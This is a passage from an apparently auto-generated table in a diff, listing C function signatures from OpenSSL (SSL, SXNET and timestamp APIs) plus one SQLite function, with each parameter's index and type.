SSL_CTX_set_default_passwd_cb | 0 | SSL_CTX * | +| (SSL_CTX *,pem_password_cb *) | | SSL_CTX_set_default_passwd_cb | 1 | pem_password_cb * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | size_t | +| (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | size_t | +| (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 0 | SSL_CTX * | +| (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | size_t | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 0 | SSL_CTX * | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 1 | size_t | +| (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | size_t | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 0 | SSL_CTX * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 1 | srpsrvparm * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 2 | char * | +| (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | char * | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 0 | SSL_CTX * | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 1 | ssl_ct_validation_cb | +| (SSL_CTX *,ssl_ct_validation_cb,void *) | | SSL_CTX_set_ct_validation_callback | 2 | void * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 1 | stack_st_SSL_CIPHER * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 2 | stack_st_SSL_CIPHER ** | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 3 | stack_st_SSL_CIPHER ** | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 4 | const char * | +| (SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *) | | ssl_create_cipher_list | 5 | CERT * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set0_CA_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set0_CA_list | 1 | stack_st_X509_NAME * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set_client_CA_list | 0 | SSL_CTX * | +| (SSL_CTX *,stack_st_X509_NAME *) | | SSL_CTX_set_client_CA_list | 1 | stack_st_X509_NAME * | +| (SSL_CTX *,uint8_t) | | SSL_CTX_set_tlsext_max_fragment_length | 0 | SSL_CTX * | +| (SSL_CTX *,uint8_t) | | SSL_CTX_set_tlsext_max_fragment_length | 1 | uint8_t | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 1 | uint16_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 2 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 3 | uint16_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 4 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 5 | size_t ** | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 6 | size_t * | +| (SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *) | | tls1_set_groups_list | 7 | const char * | +| (SSL_CTX *,uint16_t) | | tls1_group_id2name | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t) | | tls1_group_id2name | 1 | uint16_t | +| (SSL_CTX *,uint16_t) | | tls1_group_id_lookup | 0 | SSL_CTX * | +| (SSL_CTX *,uint16_t) | | tls1_group_id_lookup | 1 | uint16_t | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_max_early_data | 0 | SSL_CTX * | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_max_early_data | 1 | uint32_t | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_recv_max_early_data | 0 | SSL_CTX * | +| (SSL_CTX *,uint32_t) | | SSL_CTX_set_recv_max_early_data | 1 | uint32_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_clear_options | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_clear_options | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_domain_flags | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_domain_flags | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_options | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_CTX_set_options | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_new_domain | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_new_domain | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | SSL_new_listener | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | SSL_new_listener | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_domain | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_domain | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_listener | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_listener | 1 | uint64_t | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 0 | SSL_CTX * | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | unsigned long | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 0 | SSL_CTX * | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | unsigned long | +| (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 1 | void * | +| (SSL_EXCERT **) | | load_excert | 0 | SSL_EXCERT ** | +| (SSL_HMAC *) | | ssl_hmac_get0_EVP_MAC_CTX | 0 | SSL_HMAC * | +| (SSL_HMAC *) | | ssl_hmac_get0_HMAC_CTX | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 1 | void * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 2 | size_t | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | char * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 1 | void * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 2 | size_t | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | char * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 0 | SSL_POLL_ITEM * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 1 | size_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 2 | size_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 3 | const timeval * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 4 | uint64_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 5 | size_t * | +| (SSL_SESSION *) | | SSL_SESSION_get0_peer | 0 | SSL_SESSION * | +| (SSL_SESSION *) | | SSL_SESSION_get0_peer_rpk | 0 | SSL_SESSION * | +| (SSL_SESSION *) | | ssl_session_calculate_timeout | 0 | SSL_SESSION * | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 0 | SSL_SESSION ** | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 1 | const unsigned char ** | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 2 | long | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 0 | SSL_SESSION ** | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 1 | const unsigned char ** | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 2 | long | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 3 | OSSL_LIB_CTX * | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 4 | const char * | +| (SSL_SESSION *,const SSL_CIPHER *) | | SSL_SESSION_set_cipher | 0 | SSL_SESSION * | +| (SSL_SESSION *,const SSL_CIPHER *) | | SSL_SESSION_set_cipher | 1 | const SSL_CIPHER * | +| (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 0 | SSL_SESSION * | +| (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | const char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | size_t | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | size_t | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 2 | unsigned int | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 2 | unsigned int | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 0 | SSL_SESSION * | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | const void * | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | size_t | +| (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 0 | SSL_SESSION * | +| (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | int | +| (SSL_SESSION *,long) | | SSL_SESSION_set_time | 0 | SSL_SESSION * | +| (SSL_SESSION *,long) | | SSL_SESSION_set_time | 1 | long | +| (SSL_SESSION *,long) | | SSL_SESSION_set_timeout | 0 | SSL_SESSION * | +| (SSL_SESSION *,long) | | SSL_SESSION_set_timeout | 1 | long | +| (SSL_SESSION *,time_t) | | SSL_SESSION_set_time_ex | 0 | SSL_SESSION * | +| (SSL_SESSION *,time_t) | | SSL_SESSION_set_time_ex | 1 | time_t | +| (SSL_SESSION *,uint32_t) | | SSL_SESSION_set_max_early_data | 0 | SSL_SESSION * | +| (SSL_SESSION *,uint32_t) | | SSL_SESSION_set_max_early_data | 1 | uint32_t | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 0 | SSL_SESSION * | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 1 | void ** | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 2 | size_t * | +| (STANZA *,const char *) | | test_start_file | 0 | STANZA * | +| (STANZA *,const char *) | | test_start_file | 1 | const char * | +| (SXNET *) | | SXNET_free | 0 | SXNET * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 0 | SXNET ** | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 1 | ASN1_INTEGER * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 2 | const char * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 3 | int | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 0 | SXNET ** | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 1 | const char * | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 2 | const char * | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 3 | int | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 0 | SXNET ** | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 1 | const unsigned char ** | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 2 | long | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 0 | SXNET ** | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 1 | unsigned long | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 2 | const char * | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 3 | int | +| (SXNETID *) | | SXNETID_free | 0 | SXNETID * | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 0 | SXNETID ** | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 1 | const unsigned char ** | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 2 | long | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 0 | StrAccum * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 1 | sqlite3_str * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | const char * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | ... | +| (TLS_FEATURE *) | | TLS_FEATURE_free | 0 | TLS_FEATURE * | +| (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 0 | TLS_RL_RECORD * | +| (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 1 | const unsigned char * | +| (TS_ACCURACY *) | | TS_ACCURACY_free | 0 | TS_ACCURACY * | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 0 | TS_ACCURACY ** | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 1 | const unsigned char ** | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 2 | long | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_micros | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_micros | 1 | const ASN1_INTEGER * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_millis | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_millis | 1 | const ASN1_INTEGER * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_seconds | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_seconds | 1 | const ASN1_INTEGER * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_free | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_get_algo | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_get_msg | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 0 | TS_MSG_IMPRINT ** | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 1 | const unsigned char ** | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 2 | long | +| (TS_MSG_IMPRINT *,X509_ALGOR *) | | TS_MSG_IMPRINT_set_algo | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *,X509_ALGOR *) | | TS_MSG_IMPRINT_set_algo | 1 | X509_ALGOR * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 1 | unsigned char * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | int | +| (TS_REQ *) | | TS_REQ_free | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_ext_count | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_exts | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_msg_imprint | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_policy_id | 0 | TS_REQ * | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 0 | TS_REQ ** | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 1 | const unsigned char ** | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 2 | long | +| (TS_REQ *,TS_MSG_IMPRINT *) | | TS_REQ_set_msg_imprint | 0 | TS_REQ * | +| (TS_REQ *,TS_MSG_IMPRINT *) | | TS_REQ_set_msg_imprint | 1 | TS_MSG_IMPRINT * | +| (TS_REQ *,TS_VERIFY_CTX *) | | TS_REQ_to_TS_VERIFY_CTX | 0 | TS_REQ * | +| (TS_REQ *,TS_VERIFY_CTX *) | | TS_REQ_to_TS_VERIFY_CTX | 1 | TS_VERIFY_CTX * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 0 | TS_REQ * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 1 | X509_EXTENSION * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | int | +| (TS_REQ *,const ASN1_INTEGER *) | | TS_REQ_set_nonce | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_INTEGER *) | | TS_REQ_set_nonce | 1 | const ASN1_INTEGER * | +| (TS_REQ *,const ASN1_OBJECT *) | | TS_REQ_set_policy_id | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_OBJECT *) | | TS_REQ_set_policy_id | 1 | const ASN1_OBJECT * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | int | +| (TS_REQ *,int) | | TS_REQ_delete_ext | 0 | TS_REQ * | +| (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | int | +| (TS_REQ *,int) | | TS_REQ_get_ext | 0 | TS_REQ * | +| (TS_REQ *,int) | | TS_REQ_get_ext | 1 | int | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 0 | TS_REQ * | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 1 | int | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 2 | int * | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 3 | int * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 0 | TS_REQ * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 1 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 0 | TS_REQ * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 1 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | int | +| (TS_REQ *,long) | | TS_REQ_set_version | 0 | TS_REQ * | +| (TS_REQ *,long) | | TS_REQ_set_version | 1 | long | +| (TS_RESP *) | | TS_RESP_free | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_status_info | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_token | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_tst_info | 0 | TS_RESP * | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 0 | TS_RESP ** | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 1 | const unsigned char ** | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 2 | long | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 0 | TS_RESP * | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 1 | PKCS7 * | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 2 | TS_TST_INFO * | +| (TS_RESP *,TS_STATUS_INFO *) | | TS_RESP_set_status_info | 0 | TS_RESP * | +| (TS_RESP *,TS_STATUS_INFO *) | | TS_RESP_set_status_info | 1 | TS_STATUS_INFO * | +| (TS_RESP_CTX *) | | TS_RESP_CTX_get_request | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *) | | TS_RESP_CTX_get_tst_info | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,BIO *) | | TS_RESP_create_response | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,BIO *) | | TS_RESP_create_response | 1 | BIO * | +| (TS_RESP_CTX *,EVP_PKEY *) | | TS_RESP_CTX_set_signer_key | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,EVP_PKEY *) | | TS_RESP_CTX_set_signer_key | 1 | EVP_PKEY * | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 1 | TS_extension_cb | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 2 | void * | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 1 | TS_serial_cb | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 2 | void * | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 1 | TS_time_cb | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 2 | void * | +| (TS_RESP_CTX *,X509 *) | | TS_RESP_CTX_set_signer_cert | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,X509 *) | | TS_RESP_CTX_set_signer_cert | 1 | X509 * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_add_policy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_add_policy | 1 | const ASN1_OBJECT * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_set_def_policy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_set_def_policy | 1 | const ASN1_OBJECT * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_add_md | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_add_md | 1 | const EVP_MD * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_ess_cert_id_digest | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_ess_cert_id_digest | 1 | const EVP_MD * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_signer_digest | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_signer_digest | 1 | const EVP_MD * | +| (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 1 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 2 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 3 | int | +| (TS_RESP_CTX *,stack_st_X509 *) | | TS_RESP_CTX_set_certs | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,stack_st_X509 *) | | TS_RESP_CTX_set_certs | 1 | stack_st_X509 * | +| (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | unsigned int | +| (TS_STATUS_INFO *) | | TS_STATUS_INFO_free | 0 | TS_STATUS_INFO * | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 0 | TS_STATUS_INFO ** | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 1 | const unsigned char ** | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 2 | long | +| (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 0 | TS_STATUS_INFO * | +| (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | int | +| (TS_TST_INFO *) | | TS_TST_INFO_free | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_accuracy | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_ext_count | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_exts | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_msg_imprint | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_policy_id | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_tsa | 0 | TS_TST_INFO * | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 0 | TS_TST_INFO ** | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 1 | const unsigned char ** | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 2 | long | +| (TS_TST_INFO *,ASN1_OBJECT *) | | TS_TST_INFO_set_policy_id | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,ASN1_OBJECT *) 